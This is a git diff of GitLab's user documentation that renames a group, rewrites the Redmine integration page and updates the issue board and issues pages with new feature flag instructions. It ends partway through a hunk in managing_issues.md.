diff --git a/doc/user/project/integrations/prometheus_library/haproxy.md b/doc/user/project/integrations/prometheus_library/haproxy.md
index 290313ac1af..11b74c35a74 100644
--- a/doc/user/project/integrations/prometheus_library/haproxy.md
+++ b/doc/user/project/integrations/prometheus_library/haproxy.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/user/project/integrations/prometheus_library/index.md b/doc/user/project/integrations/prometheus_library/index.md
index 998300e255f..584c0898fec 100644
--- a/doc/user/project/integrations/prometheus_library/index.md
+++ b/doc/user/project/integrations/prometheus_library/index.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/user/project/integrations/prometheus_library/kubernetes.md b/doc/user/project/integrations/prometheus_library/kubernetes.md
index 2a6bc810f71..e14c1c0f6fd 100644
--- a/doc/user/project/integrations/prometheus_library/kubernetes.md
+++ b/doc/user/project/integrations/prometheus_library/kubernetes.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/user/project/integrations/prometheus_library/nginx.md b/doc/user/project/integrations/prometheus_library/nginx.md
index dcaef1e2ae6..3f888a89b1b 100644
--- a/doc/user/project/integrations/prometheus_library/nginx.md
+++ b/doc/user/project/integrations/prometheus_library/nginx.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/user/project/integrations/prometheus_library/nginx_ingress.md b/doc/user/project/integrations/prometheus_library/nginx_ingress.md
index f7e6b6e76d6..8846aadd420 100644
--- a/doc/user/project/integrations/prometheus_library/nginx_ingress.md
+++ b/doc/user/project/integrations/prometheus_library/nginx_ingress.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md
index 0c86c4921b3..4752fec976c 100644
--- a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md
+++ b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/user/project/integrations/redmine.md b/doc/user/project/integrations/redmine.md
index 256ffe84ee2..77e6eb75b9f 100644
--- a/doc/user/project/integrations/redmine.md
+++ b/doc/user/project/integrations/redmine.md
@@ -4,37 +4,52 @@ group: Ecosystem
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Redmine Service **(FREE)**
+# Redmine service **(FREE)**
-1. To enable the Redmine integration in a project, navigate to the
- [Integrations page](overview.md#accessing-integrations), click
- the **Redmine** service, and fill in the required details on the page as described
- in the table below.
+Use [Redmine](https://www.redmine.org/) as the issue tracker.
- | Field | Description |
- | ----- | ----------- |
- | `project_url` | The URL to the project in Redmine which is being linked to this GitLab project |
- | `issues_url` | The URL to the issue in Redmine project that is linked to this GitLab project. Note that the `issues_url` requires `:id` in the URL. This ID is used by GitLab as a placeholder to replace the issue number. |
- | `new_issue_url` | This is the URL to create a new issue in Redmine for the project linked to this GitLab project. **This is currently not being used and is planned be removed in a future release.** |
+To enable the Redmine integration in a project:
- Once you have configured and enabled Redmine, you see the Redmine link on the GitLab project pages that takes you to the appropriate Redmine project.
+1. Go to the [Integrations page](overview.md#accessing-integrations).
+1. Select **Redmine**.
+1. Select the checkbox under **Enable integration**.
+1. Fill in the required fields:
- As an example, below is a configuration for a project named `gitlab-ci`.
+ - **Project URL**: The URL to the Redmine project to link to this GitLab project.
+ - **Issue URL**: The URL to the Redmine project issue to link to this GitLab project.
+ The URL must contain `:id`. GitLab replaces this ID with the issue number.
+ - **New issue URL**: The URL to use to create a new issue in the Redmine project linked to
+ this GitLab project.
+ <!-- The line below was originally added in January 2018: https://gitlab.com/gitlab-org/gitlab/-/commit/778b231f3a5dd42ebe195d4719a26bf675093350 -->
+ **This URL is not used and removal is planned in a future release.**
+ For more information, see [issue 327503](https://gitlab.com/gitlab-org/gitlab/-/issues/327503).
- ![Redmine configuration](img/redmine_configuration.png)
+1. Select **Save changes** or optionally select **Test settings**.
-1. To disable the internal issue tracking system in a project, navigate to the General page, expand the [permissions](../settings/index.md#sharing-and-permissions) section and switch the **Issues** toggle to disabled.
+After you have configured and enabled Redmine, you see the Redmine link on the GitLab project pages,
+which takes you to your Redmine project.
-## Referencing issues in Redmine
+For example, this is a configuration for a project named `gitlab-ci`:
-Issues in Redmine can be referenced in two alternative ways:
+- Project URL: `https://redmine.example.com/projects/gitlab-ci`
+- Issue URL: `https://redmine.example.com/issues/:id`
+- New issue URL: `https://redmine.example.com/projects/gitlab-ci/issues/new`
-- `#<ID>` where `<ID>` is a number (example `#143`).
-- `<PROJECT>-<ID>` where `<PROJECT>` starts with a capital letter which is
- then followed by capital letters, numbers or underscores, and `<ID>` is
- a number (example `API_32-143`).
+You can also disable [GitLab internal issue tracking](../issues/index.md) in this project.
+Learn more about the steps and consequences of disabling GitLab issues in
+[Sharing and permissions](../settings/index.md#sharing-and-permissions).
-We suggest using the longer format if you have both internal and external issue trackers enabled. If you use the shorter format and an issue with the same ID exists in the internal issue tracker, the internal issue is linked.
+## Reference Redmine issues in GitLab
-Please note that `<PROJECT>` part is ignored and links always point to the
-address specified in `issues_url`.
+You can reference your Redmine issues using:
+
+- `#<ID>`, where `<ID>` is a number (example `#143`).
+- `<PROJECT>-<ID>`, for example `API_32-143`, where:
+ - `<PROJECT>` starts with a capital letter, followed by capital letters, numbers, or underscores.
+ - `<ID>` is a number.
+
+In links, the `<PROJECT>` part is ignored, and they always point to the address specified in **Issue URL**.
+
+We suggest using the longer format (`<PROJECT>-<ID>`) if you have both internal and external issue
+trackers enabled. If you use the shorter format, and an issue with the same ID exists in the
+internal issue tracker, the internal issue is linked.
diff --git a/doc/user/project/integrations/services_templates.md b/doc/user/project/integrations/services_templates.md
index 66810d8a01b..93ce74eb735 100644
--- a/doc/user/project/integrations/services_templates.md
+++ b/doc/user/project/integrations/services_templates.md
@@ -36,10 +36,11 @@ does not provide central administration of integration settings.
## Central administration of project integrations
A new set of features is being introduced in GitLab to provide more control over
-how integrations are configured at the instance, group, and project level.
+how integrations are configured at the instance, group, and project level. For
+more information, read more about:
-[Read more about setting up project integration management](../../admin_area/settings/project_integration_management.md)
-(introduced in GitLab 13.3) and [our plans for managing integrations](https://gitlab.com/groups/gitlab-org/-/epics/2137).
+- [Setting up project integration management](../../admin_area/settings/project_integration_management.md) (introduced in GitLab 13.3)
+- [Our plans for managing integrations](https://gitlab.com/groups/gitlab-org/-/epics/2137).
## Enable a service template
diff --git a/doc/user/project/integrations/webhooks.md b/doc/user/project/integrations/webhooks.md
index bf289c9707c..56a339e02d2 100644
--- a/doc/user/project/integrations/webhooks.md
+++ b/doc/user/project/integrations/webhooks.md
@@ -1297,6 +1297,7 @@ X-Gitlab-Event: Job Hook
"build_name": "test",
"build_stage": "test",
"build_status": "created",
+ "build_created_at": "2021-02-23T02:41:37.886Z",
"build_started_at": null,
"build_finished_at": null,
"build_duration": null,
@@ -1310,7 +1311,6 @@ X-Gitlab-Event: Job Hook
"name": "User",
"email": "user@gitlab.com",
"avatar_url": "http://www.gravatar.com/avatar/e32bd13e2add097461cb96824b7a829c?s=80\u0026d=identicon",
- "email": "admin@example.com"
},
"commit": {
"id": 2366,
diff --git a/doc/user/project/issue_board.md b/doc/user/project/issue_board.md
index a537972dff7..5ddf98d4560 100644
--- a/doc/user/project/issue_board.md
+++ b/doc/user/project/issue_board.md
@@ -14,7 +14,7 @@ It can be used as a [Kanban](https://en.wikipedia.org/wiki/Kanban_(development))
It pairs issue tracking and project management, keeping everything together,
so that you don't need to jump between different platforms to organize your workflow.
-Issue boards build on the existing [issue tracking functionality](issues/index.md#issues-list) and
+Issue boards build on the existing [issue tracking functionality](issues/index.md) and
[labels](labels.md). Your issues appear as cards in vertical lists, organized by their assigned
labels, [milestones](#milestone-lists), or [assignees](#assignee-lists).
@@ -88,7 +88,7 @@ You can tailor GitLab issue boards to your own preferred workflow.
Here are some common use cases for issue boards.
For examples of using issue boards along with [epics](../group/epics/index.md),
-[issue health status](issues/index.md#health-status), and
+[issue health status](issues/managing_issues.md#health-status), and
[scoped labels](labels.md#scoped-labels) for various Agile frameworks, check:
- The [How to use GitLab for Agile portfolio planning and project management](https://about.gitlab.com/blog/2020/11/11/gitlab-for-agile-portfolio-planning-project-management/) blog post (November 2020)
@@ -280,6 +280,7 @@ group-level objects are available.
#### GraphQL-based sidebar for group issue boards **(PREMIUM)**
<!-- When the feature flag is removed, integrate this section into the above ("Group issue boards"). -->
+<!-- This anchor is linked from #blocked-issues as well. -->
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/285074) in GitLab 13.9.
> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default.
@@ -339,6 +340,33 @@ As in other list types, click the trash icon to remove a list.
![Milestone lists](img/issue_board_milestone_lists_v13_6.png)
+### Iteration lists **(PREMIUM)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250479) in GitLab 13.11.
+> - [Deployed behind the `board_new_lists` and `iteration_board_lists` feature flags](../feature_flags.md), disabled by default.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57439) in GitLab 13.11.
+> - Enabled on GitLab.com.
+> - Recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to disable the feature flags: [`board_new_lists`](#enable-or-disable-new-add-list-form) and [`iteration_board_lists`](#enable-or-disable-iteration-lists-in-boards). **(PREMIUM SELF)**
+
+There can be
+[risks when disabling released features](../feature_flags.md#risks-when-disabling-released-features).
+Refer to this feature's version history for more details.
+
+You're also able to create lists of an iteration.
+These are lists that filter issues by the assigned
+iteration. To add an iteration list:
+
+1. Select **Create list**.
+1. Select the **Iteration**.
+1. In the dropdown, select an iteration.
+1. Select **Add to board**.
+
+Like the milestone lists, you're able to [drag issues](#drag-issues-between-lists)
+to and from a iteration list to manipulate the iteration of the dragged issues.
+
+![Iteration lists](img/issue_board_iteration_lists_v13_10.png)
+
### Group issues in swimlanes **(PREMIUM)**
> - Grouping by epic [introduced](https://gitlab.com/groups/gitlab-org/-/epics/3352) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.6.
@@ -407,18 +435,23 @@ To set a WIP limit for a list:
## Blocked issues
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34723) in GitLab 12.8.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34723) in GitLab 12.8.
+> - [View blocking issues when hovering over blocked icon](https://gitlab.com/gitlab-org/gitlab/-/issues/210452) in GitLab 13.10.
If an issue is blocked by another issue, an icon appears next to its title to indicate its blocked
status.
-![Blocked issues](img/issue_boards_blocked_icon_v13_6.png)
+When you hover over the blocked icon (**{issue-block}**), a detailed information popover is displayed.
+
+To enable this in group issue boards, enable the [GraphQL-based sidebar](#graphql-based-sidebar-for-group-issue-boards).
+The feature is enabled by default when you use group issue boards with epic swimlanes.
+
+![Blocked issues](img/issue_boards_blocked_icon_v13_10.png)
## Actions you can take on an issue board
- [Create a new list](#create-a-new-list).
- [Remove an existing list](#remove-a-list).
-- [Add issues to a list](#add-issues-to-a-list).
- [Remove an issue from a list](#remove-an-issue-from-a-list).
- [Filter issues](#filter-issues) that appear across your issue board.
- [Create workflows](#create-workflows).
@@ -457,31 +490,19 @@ To remove a list from an issue board:
1. Select **Remove list**. A confirmation dialog appears.
1. Select **OK**.
-### Add issues to a list **(FREE SELF)**
+### Add issues to a list
-> - Feature flag [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47898) in GitLab 13.7.
-> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-adding-issues-to-the-list). **(FREE SELF)**
+> The **Add issues** button was [removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57329) in GitLab 13.11.
-You can add issues to a list in a project issue board by clicking the **Add issues** button
-in the top right corner of the issue board. This opens up a modal
-window where you can see all the issues that do not belong to any list.
+If your board is scoped to one or more attributes, go to the issues you want to add and apply the
+same attributes as your board scope.
-Select one or more issues by clicking the cards and then click **Add issues**
-to add them to the selected list. You can limit the issues you want to add to
-the list by filtering by the following:
+For example, to add an issue to a list scoped to the `Doing` label, in a group issue board:
-- Assignee
-- Author
-- Epic
-- Iteration ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6)
-- Label
-- Milestone
-- My Reaction
-- Release
-- Weight
+1. Go to an issue in the group or one of the subgroups or projects.
+1. Add the `Doing` label.
+
+The issue should now show in the `Doing` list on your issue board.
### Remove an issue from a list
@@ -542,7 +563,7 @@ worked on by the designers.
Then, when they're done, all they have to do is
drag it to the next list, **Backend**. Then, a backend developer can
-eventually pick it up. When they’re done, they move it to **Done**, to close the
+eventually pick it up. When they're done, they move it to **Done**, to close the
issue.
This process can be seen clearly when visiting an issue. With every move
@@ -625,20 +646,43 @@ To disable it:
Feature.disable(:graphql_board_lists)
```
-## Enable or disable adding issues to the list **(FREE SELF)**
+### Enable or disable new add list form **(FREE SELF)**
-Adding issues to the list is deployed behind a feature flag that is **disabled by default**.
+The new form for adding lists is under development but ready for production use. It is
+deployed behind a feature flag that is **enabled by default**.
[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can enable it.
+can disable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:board_new_list)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:board_new_list)
+```
+
+### Enable or disable iteration lists in boards **(PREMIUM SELF)**
+
+NOTE:
+When disabling iteration lists in boards, you also need to disable the [new add list form](#enable-or-disable-new-add-list-form).
+
+The iteration list is under development but ready for production use. It is
+deployed behind a feature flag that is **enabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
+can disable it.
To enable it:
```ruby
-Feature.enable(:add_issues_button)
+Feature.enable(:iteration_board_lists)
```
To disable it:
```ruby
-Feature.disable(:add_issues_button)
+Feature.disable(:iteration_board_lists)
```
diff --git a/doc/user/project/issues/confidential_issues.md b/doc/user/project/issues/confidential_issues.md
index e1918b68ddc..25357a1db0b 100644
--- a/doc/user/project/issues/confidential_issues.md
+++ b/doc/user/project/issues/confidential_issues.md
@@ -19,7 +19,7 @@ You can make an issue confidential during issue creation or by editing
an existing one.
When you create a new issue, a checkbox right below the text area is available
-to mark the issue as confidential. Check that box and hit the **Submit issue**
+to mark the issue as confidential. Check that box and hit the **Create issue**
button to create the issue. For existing issues, edit them, check the
confidential checkbox and hit **Save changes**.
diff --git a/doc/user/project/issues/crosslinking_issues.md b/doc/user/project/issues/crosslinking_issues.md
index 250fa618dd8..63b38520c98 100644
--- a/doc/user/project/issues/crosslinking_issues.md
+++ b/doc/user/project/issues/crosslinking_issues.md
@@ -4,18 +4,21 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Crosslinking Issues
+# Crosslinking issues
-Please read through the [GitLab Issue Documentation](index.md) for an overview on GitLab Issues.
+There are several ways to mention an issue or make issues appear in each other's
+[Linked issues](related_issues.md) section.
-## From Commit Messages
+For more information on GitLab Issues, read the [issues documentation](index.md).
+
+## From commit messages
Every time you mention an issue in your commit message, you're creating
a relationship between the two stages of the development workflow: the
issue itself and the first commit related to that issue.
If the issue and the code you're committing are both in the same project,
-you simply add `#xxx` to the commit message, where `xxx` is the issue number.
+add `#xxx` to the commit message, where `xxx` is the issue number.
If they are not in the same project, you can add the full URL to the issue
(`https://gitlab.com/<username>/<projectname>/issues/<xxx>`).
@@ -36,11 +39,10 @@ for tracking your process with [GitLab Value Stream Analytics](https://about.git
It measures the time taken for planning the implementation of that issue,
which is the time between creating an issue and making the first commit.
-## From Related Issues
+## From linked issues
-Mentioning related issues in merge requests and other issues is useful
-for your team members and collaborators to know that there are opened
-issues regarding the same topic.
+Mentioning linked issues in merge requests and other issues helps your team members and
+collaborators know that there are opened issues regarding the same topic.
You do that as explained above, when [mentioning an issue from a commit message](#from-commit-messages).
@@ -50,13 +52,13 @@ display in both issues. The same is valid when mentioning issues in [merge reque
![issue mentioned in issue](img/mention_in_issue.png)
-## From Merge Requests
+## From merge requests
Mentioning issues in merge request comments works exactly the same way as
-they do for [related issues](#from-related-issues).
+they do for [linked issues](#from-linked-issues).
When you mention an issue in a merge request description, it
-[links the issue and merge request together](#from-related-issues). Additionally,
+[links the issue and merge request together](#from-linked-issues). Additionally,
you can also [set an issue to close automatically](managing_issues.md#closing-issues-automatically)
as soon as the merge request is merged.
diff --git a/doc/user/project/issues/csv_import.md b/doc/user/project/issues/csv_import.md
index 2757642e458..de7a36a4886 100644
--- a/doc/user/project/issues/csv_import.md
+++ b/doc/user/project/issues/csv_import.md
@@ -52,9 +52,12 @@ When importing issues from a CSV file, it must be formatted in a certain way:
- **data rows:** After the header row, succeeding rows must follow the same column
order. The issue title is required while the description is optional.
+If you have special characters _within_ a field, (such as `\n` or `,`),
+wrap the characters in double quotes.
+
Sample CSV data:
-```csv
+```plaintext
title,description
My Issue Title,My Issue Description
Another Title,"A description, with a comma"
diff --git a/doc/user/project/issues/due_dates.md b/doc/user/project/issues/due_dates.md
index 909a20f0e2f..a82823947dc 100644
--- a/doc/user/project/issues/due_dates.md
+++ b/doc/user/project/issues/due_dates.md
@@ -37,7 +37,7 @@ The last way to set a due date is by using [quick actions](../quick_actions.md),
## Making use of due dates
-You can see issues with their due dates in the [issues list](index.md#issues-list).
+You can see issues with their due dates in the issues list.
Overdue issues have their icon and date colored red.
To sort issues by their due dates, select **Due date** from the dropdown menu on the right.
Issues are then sorted from the earliest due date to the latest.
diff --git a/doc/user/project/issues/img/issue_health_status_dropdown_v12_10.png b/doc/user/project/issues/img/issue_health_status_dropdown_v12_10.png
deleted file mode 100644
index f8517de4e12..00000000000
--- a/doc/user/project/issues/img/issue_health_status_dropdown_v12_10.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/issues_main_view.png b/doc/user/project/issues/img/issues_main_view.png
deleted file mode 100644
index a929916c682..00000000000
--- a/doc/user/project/issues/img/issues_main_view.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/project_issues_list_view.png b/doc/user/project/issues/img/project_issues_list_view.png
deleted file mode 100644
index c80bd58f5c9..00000000000
--- a/doc/user/project/issues/img/project_issues_list_view.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/index.md b/doc/user/project/issues/index.md
index 7c8ba4edd6b..ec0cdc116d6 100644
--- a/doc/user/project/issues/index.md
+++ b/doc/user/project/issues/index.md
@@ -6,209 +6,46 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Issues **(FREE)**
-Issues are the fundamental mechanism in GitLab to collaborate on ideas, solve
-problems, and plan work.
-
-Using issues, you can share and discuss proposals (both before and during their
-implementation) between you and your team, and outside collaborators.
+Use issues to collaborate on ideas, solve problems, and plan work.
+Share and discuss proposals with your team and with outside collaborators.
You can use issues for many purposes, customized to your needs and workflow.
-Common use cases include:
-- Discussing the implementation of a new idea.
-- Tracking tasks and work status.
-- Accepting feature proposals, questions, support requests, or bug reports.
-- Elaborating on new code implementations.
+- Discuss the implementation of an idea.
+- Track tasks and work status.
+- Accept feature proposals, questions, support requests, or bug reports.
+- Elaborate on code implementations.
-For more information about using issues, see the
-[Always start a discussion with an issue](https://about.gitlab.com/blog/2016/03/03/start-with-an-issue/)
-GitLab blog post.
+For more information about using issues, see the GitLab blog post:
+[Always start a discussion with an issue](https://about.gitlab.com/blog/2016/03/03/start-with-an-issue/).
Issues are always associated with a specific project. If you have multiple
-projects in a group, you can view all of the issues collectively at the group
-level.
+projects in a group, you can view all of the projects' issues at once.
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-To learn how our Strategic Marketing department uses GitLab issues with [labels](../labels.md) and
+To learn how the GitLab Strategic Marketing department uses GitLab issues with [labels](../labels.md) and
[issue boards](../issue_board.md), see the video on
[Managing Commitments with Issues](https://www.youtube.com/watch?v=cuIHNintg1o&t=3).
-## Parts of an issue
-
-Issues have a flexible content and metadata structure. Here are some of the
-elements you can provide in an issue:
-
-- Title
-- Description and tasks
-- Comments and other activity
-- Author
-- Assignees
-- State (open or closed)
-- Health status (on track, needs attention, or at risk)
-- Confidentiality
-- Tasks (completed vs. outstanding)
-- Milestone
-- Due date
-- Weight
-- Time tracking
-- Labels
-- Votes
-- Reaction emoji
-- Linked issues
-- Assigned epic
-- Unique issue number and URL
-
-## View and manage issues
-
-Key actions for issues include:
-
-- [Creating issues](managing_issues.md#create-a-new-issue)
-- [Moving issues](managing_issues.md#moving-issues)
-- [Closing issues](managing_issues.md#closing-issues)
-- [Deleting issues](managing_issues.md#deleting-issues)
-- [Promoting issues](managing_issues.md#promote-an-issue-to-an-epic)
-
-Although you can view and manage details of an issue on the [issue page](#issue-page),
-you can also work with several issues at a time by using these features:
-
-- [Issues List](#issues-list): View a list of issues in a project or group.
-- [Issue Boards](../issue_board.md): Organize issues with a project management
- workflow for a feature or product release.
-- Issue references
-- [Epics](../../group/epics/index.md): Manage your portfolio of projects by
- tracking groups of issues with a shared theme.
-
-### Issue page
-
-![Issue view](img/issues_main_view.png)
-
-On an issue's page, you can view [all aspects of the issue](issue_data_and_actions.md),
-and modify them if you have the necessary [permissions](../../permissions.md).
-
-#### Real-time sidebar **(FREE SELF)**
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17589) in GitLab 13.3.
-
-Assignees in the sidebar are updated in real time. This feature is **disabled by default**.
-To enable it, you need to enable [ActionCable in-app mode](https://docs.gitlab.com/omnibus/settings/actioncable.html).
-
-### Issues List
-
-![Project Issues List view](img/project_issues_list_view.png)
-
-In the Issues List, you can:
-
-- View all issues in a project when opening the Issues List from a project context.
-- View all issues in a groups's projects when opening the Issues List from a group context.
-
-You can filter the Issues List with a [search query](../../search/index.md#filtering-issue-and-merge-request-lists),
-including specific metadata, such as labels, assignees, status, and more. From this
-view, you can also make certain changes [in bulk](../bulk_editing.md) to the displayed issues.
-
-For more information, see the [Issue Data and Actions](issue_data_and_actions.md) page
-for a rundown of all the fields and information in an issue.
-
-You can sort a list of issues in several ways, for example by issue creation date, milestone due date.
-For more information, see the [Sorting and ordering issue lists](sorting_issue_lists.md) page.
-
-#### Cached issue count
-
-> - [Introduced]([link-to-issue](https://gitlab.com/gitlab-org/gitlab/-/issues/243753)) in GitLab 13.9.
-> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use this feature in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-cached-issue-count) **(FREE SELF)**
-
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
-
-In a group, the sidebar displays the total count of open issues and this value is cached if higher
-than 1000. The cached value is rounded to thousands (or millions) and updated every 24 hours.
-
-### Design Management
-
-With [Design Management](design_management.md), you can upload design
-assets to issues and view them all together for sharing and
-collaboration with your team.
-
-### Related issues
-
-You can mark two issues as related, so that when viewing one, the other is always
-listed in its [Related Issues](related_issues.md) section. This can help display important
-context, such as past work, dependencies, or duplicates.
-
-Users of [GitLab Premium](https://about.gitlab.com/pricing/) or higher can
-also mark issues as blocking or blocked by another issue.
-
-### Crosslinking issues
-
-You can [cross-link issues](crosslinking_issues.md) by referencing an issue from another
-issue or merge request by including its URL or ID. The referenced issue displays a
-message in the Activity stream about the reference, with a link to the other issue or MR.
-
-### Similar issues
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22866) in GitLab 11.6.
-
-To prevent duplication of issues for the same topic, GitLab searches for similar issues
-when new issues are being created.
-
-As you type in the title field of the **New Issue** page, GitLab searches titles and descriptions
-across all issues to in the current project. Only issues you have access to are returned.
-Up to five similar issues, sorted by most recently updated, are displayed below the title box.
-[GraphQL](../../../api/graphql/index.md) must be enabled to use this feature.
-
-![Similar issues](img/similar_issues.png)
-
-### Health status **(ULTIMATE)**
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36427) in GitLab Ultimate 12.10.
-> - Health status of closed issues [can't be edited](https://gitlab.com/gitlab-org/gitlab/-/issues/220867) in GitLab Ultimate 13.4 and later.
-> - Issue health status visible in issue lists [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45141) in GitLab Ultimate 13.6.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/213567) in GitLab 13.7.
-
-To help you track issue statuses, you can assign a status to each issue.
-This marks issues as progressing as planned or needs attention to keep on schedule:
-
-- **On track** (green)
-- **Needs attention** (amber)
-- **At risk** (red)
-
-!["On track" health status on an issue](img/issue_health_status_dropdown_v12_10.png)
-
-After an issue is closed, its health status can't be edited and the "Edit" button becomes disabled
-until the issue is reopened.
-
-You can then see issue statuses in the [issue list](#issues-list) and the
-[Epic tree](../../group/epics/index.md#issue-health-status-in-epic-tree).
-
-## Other Issue actions
+## Related topics
+- [Create issues](managing_issues.md#create-a-new-issue)
- [Create an issue from a template](../../project/description_templates.md#use-the-templates)
+- [Move issues](managing_issues.md#moving-issues)
+- [Close issues](managing_issues.md#closing-issues)
+- [Delete issues](managing_issues.md#deleting-issues)
+- [Promote issues](managing_issues.md#promote-an-issue-to-an-epic)
- [Set a due date](due_dates.md)
-- [Bulk edit issues](../bulk_editing.md) - From the Issues List, select multiple issues
- in order to change their status, assignee, milestone, or labels in bulk.
- [Import issues](csv_import.md)
- [Export issues](csv_export.md)
+- [Upload designs to issues](design_management.md)
+- [Linked issues](related_issues.md)
+- [Cross-link issues](crosslinking_issues.md)
+- [Bulk edit issues](../bulk_editing.md)
+- [Sort issue lists](sorting_issue_lists.md)
+- [Search for issues](../../search/index.md#filtering-issue-and-merge-request-lists)
+- [Epics](../../group/epics/index.md)
+- [Issue Boards](../issue_board.md)
- [Issues API](../../../api/issues.md)
-- Configure an [external issue tracker](../../../integration/external-issue-tracker.md)
- such as Jira, Redmine, Bugzilla, or EWM.
-
-## Enable or disable cached issue count **(FREE SELF)**
-
-Cached issue count in the left sidebar is under development and not ready for production use. It is
-deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can disable it.
-
-To disable it:
-
-```ruby
-Feature.disable(:cached_sidebar_open_issues_count)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:cached_sidebar_open_issues_count)
-```
+- [Configure an external issue tracker](../../../integration/external-issue-tracker.md)
+- [Parts of an issue](issue_data_and_actions.md)
diff --git a/doc/user/project/issues/issue_data_and_actions.md b/doc/user/project/issues/issue_data_and_actions.md
index 90c918792d7..2963555869c 100644
--- a/doc/user/project/issues/issue_data_and_actions.md
+++ b/doc/user/project/issues/issue_data_and_actions.md
@@ -39,7 +39,7 @@ The numbers in the image correspond to the following features:
- **15.** [Edit](#edit)
- **16.** [Description](#description)
- **17.** [Mentions](#mentions)
-- **18.** [Related Issues](#related-issues)
+- **18.** [Linked Issues](#linked-issues)
- **19.** [Related Merge Requests](#related-merge-requests)
- **20.** [Award emoji](#award-emoji)
- **21.** [Show all activity](#show-all-activity)
@@ -205,10 +205,10 @@ in a different color, which allows you to quickly see which comments involve you
Avoid mentioning `@all` in issues and merge requests, as it sends an email notification
to all the members of that project's group. This might be interpreted as spam.
-### Related Issues
+### Linked Issues
-Issues that were mentioned as [related issues](related_issues.md) are listed here.
-You can also click the `+` to add more related issues.
+Issues that were mentioned as [linked issues](related_issues.md) are listed here.
+You can also click the `+` to add more linked issues.
### Related Merge Requests
diff --git a/doc/user/project/issues/managing_issues.md b/doc/user/project/issues/managing_issues.md
index cfb22881431..dafc0e6ba02 100644
--- a/doc/user/project/issues/managing_issues.md
+++ b/doc/user/project/issues/managing_issues.md
@@ -144,7 +144,7 @@ Follow these examples to form your new issue URL with prefilled fields.
- For a new issue in the GitLab Community Edition project with a pre-filled title,
a pre-filled description, and the confidential flag set, the URL would be `https://gitlab.com/gitlab-org/gitlab-foss/-/issues/new?issue[title]=Validate%20new%20concept&issue[description]=Research%20idea&issue[confidential]=true`
-## Moving Issues
+## Moving issues
Moving an issue copies it to the target project, and closes it in the originating project.
The original issue is not deleted. A system note, which indicates
@@ -154,7 +154,7 @@ The "Move issue" button is at the bottom of the right-sidebar when viewing the i
![move issue - button](img/sidebar_move_issue.png)
-### Moving Issues in Bulk
+### Moving issues in bulk **(FREE SELF)**
If you have advanced technical skills you can also bulk move all the issues from
one project to another in the rails console. The below script moves all issues
@@ -199,7 +199,7 @@ can be closed automatically when the commit reaches the project's default branch
If a commit message or merge request description contains text matching a [defined pattern](#default-closing-pattern),
all issues referenced in the matched text are closed. This happens when the commit
